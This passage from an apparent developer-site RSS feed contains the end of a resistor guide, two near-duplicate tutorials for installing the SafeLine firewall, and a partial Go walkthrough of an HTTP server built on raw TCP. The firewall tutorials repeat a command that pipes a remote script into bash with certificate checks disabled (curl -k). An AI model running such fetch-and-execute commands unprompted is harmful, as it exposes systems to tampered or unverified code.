&lt;li&gt;Forgetting the derating curve. That 1/4 W number is for 70 °C and below. In a hot enclosure, it is not 1/4 W anymore.&lt;/li&gt;
&lt;li&gt;Floating input pins. A pull-up or pull-down resistor only does its job if it is actually connected to the pin &lt;em&gt;and&lt;/em&gt; to the rail. A missing or misplaced resistor is why a button &quot;sometimes&quot; works.&lt;/li&gt;
&lt;li&gt;Mixing up tolerance needs. Do not pay for 1% parts in a LED limiter, and do not cheap out with 5% parts in a measurement divider. Match the tolerance to the job.&lt;/li&gt;
&lt;li&gt;Assuming SMD size = value. A 1206 is not &quot;more ohms&quot; than a 0402; it just handles more watts. The number on the body is the value; the package is the power.&lt;/li&gt;
&lt;/ul&gt;
&lt;hr&gt;
&lt;p&gt;This is a part of the full guide. The original on CircuitForge also includes interactive 3D component viewers, a live color-code calculator, embedded simulator circuits, and a full FAQ section — all of which are easier to use in a browser than in a blog post.&lt;/p&gt;
&lt;p&gt;You can read the complete version with all the interactive tools here: (&lt;a rel=&quot;nofollow&quot; href=&quot;https://luvaai.in/learn/complete-resistor-guide&quot;&gt;https://luvaai.in/learn/complete-resistor-guide&lt;/a&gt;)&lt;/p&gt;
</description>
<category>Articles</category>
<guid isPermaLink="true">https://coderlegion.com/27496/resistors-how-to-read-the-stripes-do-the-math-and-avoid-the-magic-smoke</guid>
<pubDate>Thu, 17 Sep 2026 10:10:48 +0000</pubDate>
</item>
<item>
<title>Deploy SafeLine WAF on Ubuntu: A Step-by-Step Guide</title>
<link>https://coderlegion.com/27451/deploy-safeline-waf-on-ubuntu-a-step-by-step-guide</link>
<description>&lt;h2 id=&quot;deploy-safeline-waf-on-ubuntu-a-step-by-step-guide&quot;&gt;Deploy SafeLine WAF on Ubuntu: A Step-by-Step Guide&lt;/h2&gt;
&lt;p&gt;Ubuntu is one of the most common hosts for self-hosted services, and SafeLine&lt;br&gt;
runs happily on it. Here is a clean deployment path.&lt;/p&gt;
&lt;h3 id=&quot;prerequisites-1&quot;&gt;Prerequisites&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;A fresh or existing Ubuntu 20.04/22.04 server.&lt;/li&gt;
&lt;li&gt;Docker installed (&lt;code&gt;sudo apt install docker.io&lt;/code&gt;).&lt;/li&gt;
&lt;li&gt;Network access so the installer can pull images.&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id=&quot;install-safeline&quot;&gt;Install SafeLine&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;bash -c &quot;$(curl -fsSLk https://waf.chaitin.com/release/latest/manager.sh)&quot; -- --en
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The script detects the environment and brings up the SafeLine containers.&lt;/p&gt;
&lt;h3 id=&quot;access-and-configure&quot;&gt;Access and configure&lt;/h3&gt;
&lt;p&gt;Open &lt;code&gt;https://&amp;lt;server-ip&amp;gt;:9443&lt;/code&gt; in your browser. Create the admin account, then add the site&lt;br&gt;
you want to protect by setting its upstream to your real app (for example a service on&lt;br&gt;
&lt;code&gt;127.0.0.1:8080&lt;/code&gt;).&lt;/p&gt;
&lt;h3 id=&quot;place-it-in-front-of-your-app&quot;&gt;Place it in front of your app&lt;/h3&gt;
&lt;p&gt;Update your reverse proxy or DNS so traffic reaches SafeLine first. SafeLine's semantic-analysis&lt;br&gt;
engine inspects each request and forwards clean traffic to your upstream, blocking SQL&lt;br&gt;
injection, XSS, and automated abuse.&lt;/p&gt;
&lt;h3 id=&quot;hardening-tips&quot;&gt;Hardening tips&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;Put the dashboard behind a strong admin password and, ideally, an allowlisted IP.&lt;/li&gt;
&lt;li&gt;Set container restart policies.&lt;/li&gt;
&lt;li&gt;Watch the dashboard's logs for the first days to tune any edge cases.&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id=&quot;faq-10&quot;&gt;FAQ&lt;/h3&gt;
&lt;h4 id=&quot;does-it-work-with-ufw-iptables-&quot;&gt;Does it work with UFW/iptables?&lt;/h4&gt;
&lt;p&gt;Yes; just ensure the SafeLine listener port is reachable.&lt;/p&gt;
&lt;h4 id=&quot;minimum-specs-&quot;&gt;Minimum specs?&lt;/h4&gt;
&lt;p&gt;1 CPU, 1 GB RAM, 5 GB disk.&lt;/p&gt;
&lt;h4 id=&quot;free-&quot;&gt;Free?&lt;/h4&gt;
&lt;p&gt;The Community Edition is free for 10 apps / 800 QPS.&lt;/p&gt;
&lt;h3 id=&quot;wrap-up-1&quot;&gt;Wrap Up&lt;/h3&gt;
&lt;p&gt;If you want a &lt;strong&gt;self-hosted WAF&lt;/strong&gt; you fully control, SafeLine is worth a look. It sits in&lt;br&gt;
front of your existing stack as a container, uses a semantic-analysis engine to catch SQL&lt;br&gt;
injection, XSS, and bot abuse with very low false positives, and the &lt;strong&gt;Community Edition is&lt;br&gt;
free&lt;/strong&gt;.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Official docs: &lt;a rel=&quot;nofollow&quot; href=&quot;https://docs.waf.chaitin.com/en/home&quot;&gt;https://docs.waf.chaitin.com/en/home&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;GitHub: &lt;a rel=&quot;nofollow&quot; href=&quot;https://github.com/chaitin/SafeLine&quot;&gt;https://github.com/chaitin/SafeLine&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;Live demo: &lt;a rel=&quot;nofollow&quot; href=&quot;https://demo.waf.chaitin.com:9443/statistics&quot;&gt;https://demo.waf.chaitin.com:9443/statistics&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Deploy it in minutes:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;bash -c &quot;$(curl -fsSLk https://waf.chaitin.com/release/latest/manager.sh)&quot; -- --en
&lt;/code&gt;&lt;/pre&gt;
</description>
<category>Articles</category>
<guid isPermaLink="true">https://coderlegion.com/27451/deploy-safeline-waf-on-ubuntu-a-step-by-step-guide</guid>
<pubDate>Thu, 17 Sep 2026 04:20:16 +0000</pubDate>
</item>
<item>
<title>How to Install SafeLine WAF with Docker in 10 Minutes</title>
<link>https://coderlegion.com/27449/how-to-install-safeline-waf-with-docker-in-10-minutes</link>
<description>&lt;h2 id=&quot;how-to-install-safeline-waf-with-docker-in-10-minutes&quot;&gt;How to Install SafeLine WAF with Docker in 10 Minutes&lt;/h2&gt;
&lt;p&gt;SafeLine is designed to run as a container, which makes Docker the natural&lt;br&gt;
deployment path. This walkthrough gets you from zero to a working reverse-proxy WAF.&lt;/p&gt;
&lt;h3 id=&quot;what-you-need&quot;&gt;What you need&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;A Linux host (VM or bare metal) with Docker installed.&lt;/li&gt;
&lt;li&gt;At least 1 CPU, 1 GB RAM, 5 GB free disk.&lt;/li&gt;
&lt;li&gt;A service you want to protect (e.g., a web app on port 8080).&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id=&quot;step-1-install-safeline-1&quot;&gt;Step 1: Install SafeLine&lt;/h3&gt;
&lt;p&gt;Run the official installer:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;bash -c &quot;$(curl -fsSLk https://waf.chaitin.com/release/latest/manager.sh)&quot; -- --en
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;This pulls the SafeLine containers and starts the management console.&lt;/p&gt;
&lt;h3 id=&quot;step-2-open-the-dashboard&quot;&gt;Step 2: Open the dashboard&lt;/h3&gt;
&lt;p&gt;Navigate to &lt;code&gt;https://&amp;lt;your-host-ip&amp;gt;:9443&lt;/code&gt;. Complete the initial setup and create an admin&lt;br&gt;
account. You can also explore the live demo first at&lt;br&gt;
&lt;a rel=&quot;nofollow&quot; href=&quot;https://demo.waf.chaitin.com:9443/statistics&quot;&gt;https://demo.waf.chaitin.com:9443/statistics&lt;/a&gt;.&lt;/p&gt;
&lt;h3 id=&quot;step-3-add-your-upstream&quot;&gt;Step 3: Add your upstream&lt;/h3&gt;
&lt;p&gt;In the console, register the site you want to protect and point its upstream at your real app&lt;br&gt;
(e.g., &lt;code&gt;http://127.0.0.1:8080&lt;/code&gt;). SafeLine now inspects traffic before proxying it.&lt;/p&gt;
&lt;h3 id=&quot;step-4-route-traffic&quot;&gt;Step 4: Route traffic&lt;/h3&gt;
&lt;p&gt;Point your domain or load balancer at the SafeLine listener instead of the app directly. SafeLine&lt;br&gt;
blocks malicious requests (SQLi, XSS, bot abuse) using its semantic-analysis engine.&lt;/p&gt;
&lt;h3 id=&quot;faq-11&quot;&gt;FAQ&lt;/h3&gt;
&lt;h4 id=&quot;do-i-need-docker-compose-&quot;&gt;Do I need docker-compose?&lt;/h4&gt;
&lt;p&gt;The installer manages containers for you; compose is optional for custom setups.&lt;/p&gt;
&lt;h4 id=&quot;what-if-the-container-restarts-&quot;&gt;What if the container restarts?&lt;/h4&gt;
&lt;p&gt;SafeLine persists config; set a restart policy so it comes back automatically.&lt;/p&gt;
&lt;h4 id=&quot;is-this-production-ready-&quot;&gt;Is this production-ready?&lt;/h4&gt;
&lt;p&gt;Yes — the Community Edition is free and handles 10 apps at 800 QPS.&lt;/p&gt;
&lt;h3 id=&quot;wrap-up-2&quot;&gt;Wrap Up&lt;/h3&gt;
&lt;p&gt;If you want a &lt;strong&gt;self-hosted WAF&lt;/strong&gt; you fully control, SafeLine is worth a look. It sits in&lt;br&gt;
front of your existing stack as a container, uses a semantic-analysis engine to catch SQL&lt;br&gt;
injection, XSS, and bot abuse with very low false positives, and the &lt;strong&gt;Community Edition is&lt;br&gt;
free&lt;/strong&gt;.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Official docs: &lt;a rel=&quot;nofollow&quot; href=&quot;https://docs.waf.chaitin.com/en/home&quot;&gt;https://docs.waf.chaitin.com/en/home&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;GitHub: &lt;a rel=&quot;nofollow&quot; href=&quot;https://github.com/chaitin/SafeLine&quot;&gt;https://github.com/chaitin/SafeLine&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;Live demo: &lt;a rel=&quot;nofollow&quot; href=&quot;https://demo.waf.chaitin.com:9443/statistics&quot;&gt;https://demo.waf.chaitin.com:9443/statistics&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Deploy it in minutes:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;bash -c &quot;$(curl -fsSLk https://waf.chaitin.com/release/latest/manager.sh)&quot; -- --en
&lt;/code&gt;&lt;/pre&gt;
</description>
<category>Articles</category>
<guid isPermaLink="true">https://coderlegion.com/27449/how-to-install-safeline-waf-with-docker-in-10-minutes</guid>
<pubDate>Thu, 17 Sep 2026 04:16:13 +0000</pubDate>
</item>
<item>
<title>Building an HTTP Server From Scratch using TCP.</title>
<link>https://coderlegion.com/27310/building-an-http-server-from-scratch-using-tcp</link>
<description>&lt;p&gt;HTTP is something I interact with every single day, whether I am fetching data on the frontend or building backend APIs. But for a long time, if you had asked me how it actually worked under the hood, I wouldn't have had a good answer. I always treated HTTP like this intimidating, hyper-complex black box that would be miserable to understand, let alone rebuild from scratch. Once I actually dug into the internals, though, I realized the core mechanics are surprisingly straightforward.&lt;/p&gt;
&lt;p&gt;I am using Go for this project, but the concepts are entirely language-agnostic. You can follow along in C, Rust, Python, Node, or whatever language you like; as long as it can open a network socket (sorry, HTML and CSS won't cut it here).&lt;/p&gt;
&lt;p&gt;To understand HTTP, we first have to talk about TCP/IP, because HTTP is just a text-protocol riding on top of &lt;strong&gt;TCP/IP&lt;/strong&gt; stack.&lt;/p&gt;
&lt;p&gt;The &lt;strong&gt;Internet Protocol (IP)&lt;/strong&gt; has one basic job: move raw data from Machine A to Machine B across the world. But it doesn't dump a massive file across the wire all at once. If you download a 10 GB file, IP chops that data into tiny pieces called packets, usually around 1,500 bytes each. It does this because network hardware has physical transmission limits, routers need to share bandwidth fairly among thousands of users, and resending one dropped 1.5 KB packet over flaky Wi-Fi is painless compared to re-downloading an entire 10 GB stream.&lt;/p&gt;
&lt;p&gt;Every device on the internet gets an IP address so these packets know where to go. When you want to visit &lt;code&gt;google.com&lt;/code&gt;, your computer doesn't magically know Google's physical server address right away. It first asks a DNS server to translate &lt;code&gt;google.com&lt;/code&gt; into an actual IP address, like &lt;code&gt;142.250.190.46&lt;/code&gt;. Once your machine has that destination IP, it stamps its own IP address into the packet header so Google knows where to send the reply, and fires the packets into the wild.&lt;/p&gt;
&lt;p&gt;The catch is that IP is completely &quot;best-effort.&quot; It launches packets into the network and immediately stops caring. If a router gets overloaded and drops your packet, or if packets take different routes and arrive completely out of order, IP won't fix it.&lt;/p&gt;
&lt;p&gt;That is why we need &lt;strong&gt;TCP (Transmission Control Protocol)&lt;/strong&gt;.&lt;/p&gt;
&lt;p&gt;TCP sits right on top of IP to turn that chaotic packet delivery into a reliable stream. It tracks every byte with sequence numbers so out-of-order data gets assembled correctly. If a packet goes missing, TCP notices and asks the sender to retransmit it. It also introduces the concept of ports; so when data finally arrives at a computer's IP address, the operating system knows whether to hand those bytes to your web server on port 80 or your database on port 5432.&lt;/p&gt;
&lt;p&gt;So now TCP has solved our biggest headache. We have a solid, reliable pipe open between our client and our server. You throw bytes into one end, and they pop out the other end in the exact right order without getting lost.&lt;/p&gt;
&lt;p&gt;Problem solved, right? Not even close.&lt;/p&gt;
&lt;p&gt;Because while TCP is great at moving bytes from one place to another reliably, it is completely blind to what those bytes actually &lt;em&gt;mean&lt;/em&gt;. It treats everything as one never-ending, continuous river of data (a raw byte stream). If your browser sends a request to load a profile picture, and immediately sends another request for a stylesheet, TCP just mashes all those bytes together in a single stream.&lt;/p&gt;
&lt;p&gt;Your server is now sitting there staring at a raw chunk of bytes, completely clueless:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Where does the first request end and the second one begin?&lt;/li&gt;
&lt;li&gt;Is the client trying to download a file, submit a form, or delete a record?&lt;/li&gt;
&lt;li&gt;Is this data plain text, an image, or JSON?&lt;/li&gt;
&lt;li&gt;If something goes wrong on the server, how do we tell the client?&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;If we didn't have a standard rulebook, every single developer would invent their own chaotic format. You'd write your own custom protocol where maybe you put an exclamation mark at the end of a message, while someone else uses a random binary flag. Your backend wouldn't be able to talk to any standard browser because neither speaks the same language.&lt;/p&gt;
&lt;p&gt;This is where &lt;strong&gt;HTTP (Hypertext Transfer Protocol)&lt;/strong&gt; steps in.&lt;/p&gt;
&lt;p&gt;HTTP is nothing more than an agreed-upon rulebook. If TCP is a telephone line connecting two people, HTTP is the grammar they agree to speak so they understand each other.&lt;/p&gt;
&lt;p&gt;At its core, HTTP turns that blind stream of TCP bytes into predictable, structured messages. In HTTP/1.1, it does this entirely using plain text:&lt;/p&gt;
&lt;p&gt;First, it forces the client to state its intent right on the very first line: like &lt;code&gt;GET /index.html HTTP/1.1&lt;/code&gt;. Now the server instantly knows the action (&lt;code&gt;GET&lt;/code&gt;), the target (&lt;code&gt;/index.html&lt;/code&gt;), and the protocol version.&lt;/p&gt;
&lt;p&gt;Next, it uses standard key-value headers separated by clean line breaks; specifically &lt;code&gt;\r\n&lt;/code&gt; (CRLF: Carriage Return + Line Feed). Why two characters instead of just &lt;code&gt;\n&lt;/code&gt;? Because early internet protocols inherited typewriter conventions from telegraph and terminal days, and now we are stuck with it forever.&lt;/p&gt;
&lt;p&gt;Then, it solves the boundary problem with an empty line (&lt;code&gt;\r\n\r\n&lt;/code&gt;), which screams to the parser: &lt;em&gt;&quot;Hey, the headers are done! Whatever comes next is the actual body payload.&quot;&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;Finally, the server replies with a standardized response that includes a status code like &lt;code&gt;200 OK&lt;/code&gt; if everything went well, or &lt;code&gt;404 Not Found&lt;/code&gt; if you asked for something that doesn't exist.&lt;/p&gt;
&lt;p&gt;That's all HTTP really is. It's not magic, and it's not an intimidating engine. It's just a structured text format running over a raw TCP socket. Once you realize it's just plain text over a byte stream, building one yourself becomes a whole lot less scary.&lt;/p&gt;
&lt;hr&gt;
&lt;h4 id=&quot;what-does-raw-http-actually-look-like-&quot;&gt;What Does Raw HTTP Actually Look Like?&lt;/h4&gt;
&lt;p&gt;Before we write the code to parse requests and generate responses, let's look at the exact text format traveling across the wire.&lt;/p&gt;
&lt;h5 id=&quot;1-the-http-request-format&quot;&gt;1. The HTTP Request Format&lt;/h5&gt;
&lt;p&gt;When a client wants something from our server, it sends a plain-text payload formatted like this:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-text&quot;&gt;POST /users HTTP/1.1
Host: localhost:8080
User-Agent: curl/8.0.0
Accept: */*
Content-Type: application/json
Content-Length: 26

{&quot;name&quot;: &quot;Dev&quot;, &quot;age&quot;: 22}

&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Line 1 (Request Line):&lt;/strong&gt; Action (&lt;code&gt;POST&lt;/code&gt;), path (&lt;code&gt;/users&lt;/code&gt;), and version (&lt;code&gt;HTTP/1.1&lt;/code&gt;), terminated by &lt;code&gt;\r\n&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Lines 2–6 (Headers):&lt;/strong&gt; Key-value metadata lines, each terminated by &lt;code&gt;\r\n&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Line 7 (Empty Line):&lt;/strong&gt; A single blank &lt;code&gt;\r\n&lt;/code&gt; with no characters. This tells our server: &lt;em&gt;&quot;The headers are done.&quot;&lt;/em&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Line 8 (Body Payload):&lt;/strong&gt; Exactly 26 raw bytes of data matching the &lt;code&gt;Content-Length&lt;/code&gt; header.&lt;/li&gt;
&lt;/ul&gt;
&lt;h5 id=&quot;2-the-http-response-format&quot;&gt;2. The HTTP Response Format&lt;/h5&gt;
&lt;p&gt;Once our server finishes processing, it writes back an answer formatted like this:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-text&quot;&gt;HTTP/1.1 200 OK
Content-Type: application/json
Content-Length: 35

{&quot;message&quot;: &quot;user list endpoint&quot;}

&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Line 1 (Status Line):&lt;/strong&gt; Version (&lt;code&gt;HTTP/1.1&lt;/code&gt;), status number (&lt;code&gt;200&lt;/code&gt;), and status message (&lt;code&gt;OK&lt;/code&gt;), followed by &lt;code&gt;\r\n&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Lines 2–3 (Headers):&lt;/strong&gt; Key-value details about what we are sending back, terminated by &lt;code&gt;\r\n&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Line 4 (Empty Line):&lt;/strong&gt; A single blank &lt;code&gt;\r\n&lt;/code&gt; to mark the end of response headers.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Line 5 (Body Payload):&lt;/strong&gt; Exactly 35 raw bytes of data sent down the wire.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Now that we know the format for both directions, let's build the server to handle it.&lt;/p&gt;
&lt;hr&gt;
&lt;h3 id=&quot;building-an-http-server-from-raw-tcp&quot;&gt;Building an HTTP Server from Raw TCP&lt;/h3&gt;
&lt;p&gt;I like to break the implementation down into four distinct steps:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Initialize a TCP socket and bind it to a local port.&lt;/li&gt;
&lt;li&gt;Accept incoming client connections in a loop.&lt;/li&gt;
&lt;li&gt;Read raw bytes from the socket and parse the HTTP request.&lt;/li&gt;
&lt;li&gt;Construct an HTTP response and write those bytes back over the wire.&lt;/li&gt;
&lt;/ol&gt;
&lt;h4 id=&quot;1-setting-up-the-tcp-listener&quot;&gt;1. Setting Up the TCP Listener&lt;/h4&gt;
&lt;p&gt;In any programming language, listening for network traffic comes down to a few basic steps. You ask the operating system to reserve a port (like 8080), and then you wait for someone to connect.&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-go&quot;&gt;package main

import (
&quot;fmt&quot;
&quot;log&quot;
&quot;net&quot;
)

func main() {
// Ask the OS to open port 8080 and listen for incoming traffic
listener, err := net.Listen(&quot;tcp&quot;, &quot;:8080&quot;)
if err != nil {
log.Fatal(&quot;[SERVER] Failed to bind to port: &quot;, err)
}
// Make sure we release the port when the server stops
defer listener.Close()

fmt.Println(&quot;[SERVER] Listening on port :8080...&quot;)

// Keep the server running in an infinite loop to accept other connections
for {
// Our program pauses right here until a client connects
conn, err := listener.Accept()
if err != nil {
fmt.Printf(&quot;[SERVER] Failed to accept connection: %v\n&quot;, err)
continue
}

// Pass the connection to a background worker so the loop can keep spinning
go handleConnection(conn)
}
}

&lt;/code&gt;&lt;/pre&gt;
&lt;h5 id=&quot;what-is-happening-here-&quot;&gt;What is happening here?&lt;/h5&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Binding:&lt;/strong&gt; The operating system locks port 8080 for us. From now on, any data sent to this port comes straight to our app.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Accepting:&lt;/strong&gt; Our program pauses and waits. When a client finally connects, the operating system wakes us up and hands us a connection object (&lt;code&gt;conn&lt;/code&gt;).&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Concurrency:&lt;/strong&gt; If we try to process this connection right here in the main loop, our server will freeze for everyone else. So, we hand the connection off to run in the background. Go uses &lt;code&gt;goroutines&lt;/code&gt;, Python might use threads, and Node uses its event loop. The idea is exactly the same: move the work out of the way so we can instantly wait for the next person.&lt;/li&gt;
&lt;/ul&gt;
&lt;hr&gt;
&lt;h4 id=&quot;2-the-request-lifecycle-handleconnection-&quot;&gt;2. The Request Lifecycle (&lt;code&gt;handleConnection&lt;/code&gt;)&lt;/h4&gt;
&lt;p&gt;Before we dive into the details of parsing, let's look at the whole journey of a single connection.&lt;/p&gt;
&lt;p&gt;Our &lt;code&gt;handleConnection&lt;/code&gt; function does four things in order: it wraps the raw socket to read from it easily, parses the incoming text into a request we can understand, checks the URL path to see what the user wants, and sends back a text response.&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-go&quot;&gt;func handleConnection(conn net.Conn) {
// Always close the connection when we are completely done
defer conn.Close()
clientAddr := conn.RemoteAddr().String()

// Wrap the raw connection in our custom stream reader
reader := stream.NewReader(conn)

// Try to make sense of the incoming bytes
req, err := request.Parse(reader)
if err != nil {
// If they sent garbage data, reply with a 400 Bad Request
res := response.New()
res.SetStatus(400)
res.SetBody([]byte(&quot;400 Bad Request&quot;), &quot;text/plain&quot;)
_ = res.Send(conn)
return
}

// Prepare a blank response to fill out
res := response.New()

// Basic routing: look at the path and decide what to send back
switch req.Path {
case &quot;/&quot;:
res.SetStatus(200)
res.SetBody([]byte(&quot;Welcome to my scratch HTTP Server!&quot;), &quot;text/plain&quot;)
case &quot;/users&quot;:
res.SetStatus(200)
res.SetBody([]byte(`{&quot;message&quot;: &quot;user list endpoint&quot;}`), &quot;application/json&quot;)
default:
// If we don't recognize the path, send a 404
res.SetStatus(404)
res.SetBody([]byte(&quot;404 Page Not Found&quot;), &quot;text/plain&quot;)
}

// Push the final formatted text back through the socket
_ = res.Send(conn)
}

&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;We break this workload into three clear pieces:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;stream&lt;/code&gt;&lt;/strong&gt;: Safely reads a continuous flow of bytes from the connection.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;request&lt;/code&gt;&lt;/strong&gt;: Turns those raw bytes into structured HTTP data (methods, paths, and headers).&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;response&lt;/code&gt;&lt;/strong&gt;: Formats our answer into valid HTTP text and pushes it back to the user.&lt;/li&gt;
&lt;/ul&gt;
&lt;hr&gt;
&lt;h4 id=&quot;3-reading-the-raw-byte-stream-pkg-stream-&quot;&gt;3. Reading the Raw Byte-Stream (&lt;code&gt;pkg/stream&lt;/code&gt;)&lt;/h4&gt;
&lt;p&gt;The network doesn't understand neat lines of text; it just gives us raw chunks of bytes. If we try to read one byte at a time directly from the network just to find a newline character, it is incredibly slow.&lt;/p&gt;
&lt;p&gt;The universal fix for this is buffering. Instead of reading byte by byte, we pull a large chunk of data (like 4KB) into our application's memory all at once. Once it is safely in our memory, we can quickly scan through it to find our lines.&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-go&quot;&gt;package stream

import (
&quot;bufio&quot;
&quot;io&quot;
&quot;strings&quot;
)

type Reader struct {
buffered *bufio.Reader
}

func NewReader(r io.Reader) *Reader {
return &amp;amp;Reader{
// Pull data in large chunks to save time and system resources
buffered: bufio.NewReader(r),
}
}

func (r *Reader) ReadLine() (string, error) {
// Read bytes until we hit a newline character
lineBytes, err := r.buffered.ReadBytes('\n')
// Clean off the trailing \r\n before handing the string back
return strings.TrimRight(string(lineBytes), &quot;\r\n&quot;), err
}

func (r *Reader) ReadExact(count int) ([]byte, error) {
// Create an empty chunk of memory of exactly the size we need
buf := make([]byte, count)
// Block and fill the memory completely before moving on
_, err := io.ReadFull(r.buffered, buf)
return buf, err
}

&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;We need two different ways to read:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Line-by-line:&lt;/strong&gt; HTTP metadata (like headers) is separated by line breaks. We read line-by-line until we hit the empty line that tells us the headers are done.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Exact byte counts:&lt;/strong&gt; The actual body of a request (like an uploaded image) is just raw data. It might have random line breaks in it. So, once the headers are done, we stop reading lines and instead read an exact number of bytes based on the &lt;code&gt;Content-Length&lt;/code&gt; header.&lt;/li&gt;
&lt;/ol&gt;
&lt;hr&gt;
&lt;h4 id=&quot;4-parsing-the-request-pkg-request-&quot;&gt;4. Parsing the Request (&lt;code&gt;pkg/request&lt;/code&gt;)&lt;/h4&gt;
&lt;p&gt;Now we write the parser to read that incoming text stream into a structured Go struct:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-go&quot;&gt;package request

import (
&quot;fmt&quot;
&quot;strconv&quot;
&quot;strings&quot;
&quot;github.com/devxdh/http-from-scratch/pkg/stream&quot;
)

type Request struct {
Method  string
Path    string
Version string
Headers map[string]string
Body    []byte
}

func Parse(reader *stream.Reader) (*Request, error) {
req := &amp;amp;Request{Headers: make(map[string]string)}

// 1. Grab the very first line (e.g., &quot;GET / HTTP/1.1&quot;)
line, err := reader.ReadLine()
if err != nil { return nil, err }

// Break the line into chunks using spaces
fLineArr := strings.Split(line, &quot; &quot;)
if len(fLineArr) &amp;lt; 3 { return nil, fmt.Errorf(&quot;Malformed request line&quot;) }

// Assign Method, Path, and Version respectively
req.Method, req.Path, req.Version = fLineArr[0], fLineArr[1], fLineArr[2]

// 2. Start reading the headers line by line
for {
line, err := reader.ReadLine()
if err != nil { return nil, err }

// An empty line means the headers section is completely done
if line == &quot;&quot; { break } 

// Split at the first colon we see (e.g., &quot;Host: localhost&quot;)
headerLine := strings.SplitN(line, &quot;:&quot;, 2)
if len(headerLine) &amp;lt; 2 { continue }

// Lowercase the key so we can easily search for it later
key := strings.ToLower(strings.TrimSpace(headerLine[0]))
req.Headers[key] = strings.TrimSpace(headerLine[1])
}

// 3. If there is a body, figure out how long it is
if val, ok := req.Headers[&quot;content-length&quot;]; ok {
contentLength, err := strconv.Atoi(val)
if err != nil {
return nil, fmt.Errorf(&quot;Invalid content-length: %s&quot;, val)
}
// Read that exact number of bytes directly into our request body
req.Body, err = reader.ReadExact(contentLength)
if err != nil {
return nil, fmt.Errorf(&quot;Failed to read body: %v&quot;, err)
}
}

return req, nil
}

&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;I keep two rules in mind when parsing:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Case-Insensitivity:&lt;/strong&gt; HTTP header names don't care about uppercase or lowercase. We convert them all to lowercase right away so we don't run into bugs later when searching for &quot;Content-Length&quot;.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Splitting Headers:&lt;/strong&gt; Some headers have colons in their values (like &lt;code&gt;Host: localhost:8080&lt;/code&gt;). We only split on the very first colon we see, so we don't accidentally cut the data in half.&lt;/li&gt;
&lt;/ul&gt;
&lt;hr&gt;
&lt;h4 id=&quot;5-writing-the-http-response-pkg-response-&quot;&gt;5. Writing the HTTP Response (&lt;code&gt;pkg/response&lt;/code&gt;)&lt;/h4&gt;
&lt;p&gt;Sending an answer is doing the exact reverse of parsing. We build a block of text containing our Status Line, our Headers, and a mandatory empty line. Then we push that text, along with any body data, back through the connection.&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-go&quot;&gt;package response

import (
&quot;fmt&quot;
&quot;io&quot;
&quot;strings&quot;
)

var StatusRegister = map[int]string{
200: &quot;OK&quot;,
  400: &quot;Bad Request&quot;,
  404: &quot;Not Found&quot;,
}

type Response struct {
StatusCode int
StatusText string
Headers    map[string]string
Body       []byte
}

func New() *Response {
return &amp;amp;Response{
StatusCode: 200,
StatusText: StatusRegister[200],
Headers:    make(map[string]string),
}
}

func (res *Response) SetHeader(key, value string) {
res.Headers[key] = value
}

func (res *Response) SetBody(body []byte, contentType string) {
res.Body = body
// Only set a content type if we actually provided one
if contentType != &quot;&quot; {
res.SetHeader(&quot;Content-Type&quot;, contentType)
}
}

func (res *Response) SetStatus(code int) {
text, ok := StatusRegister[code]
if !ok {
text = &quot;Unknown&quot;
}
res.StatusCode = code
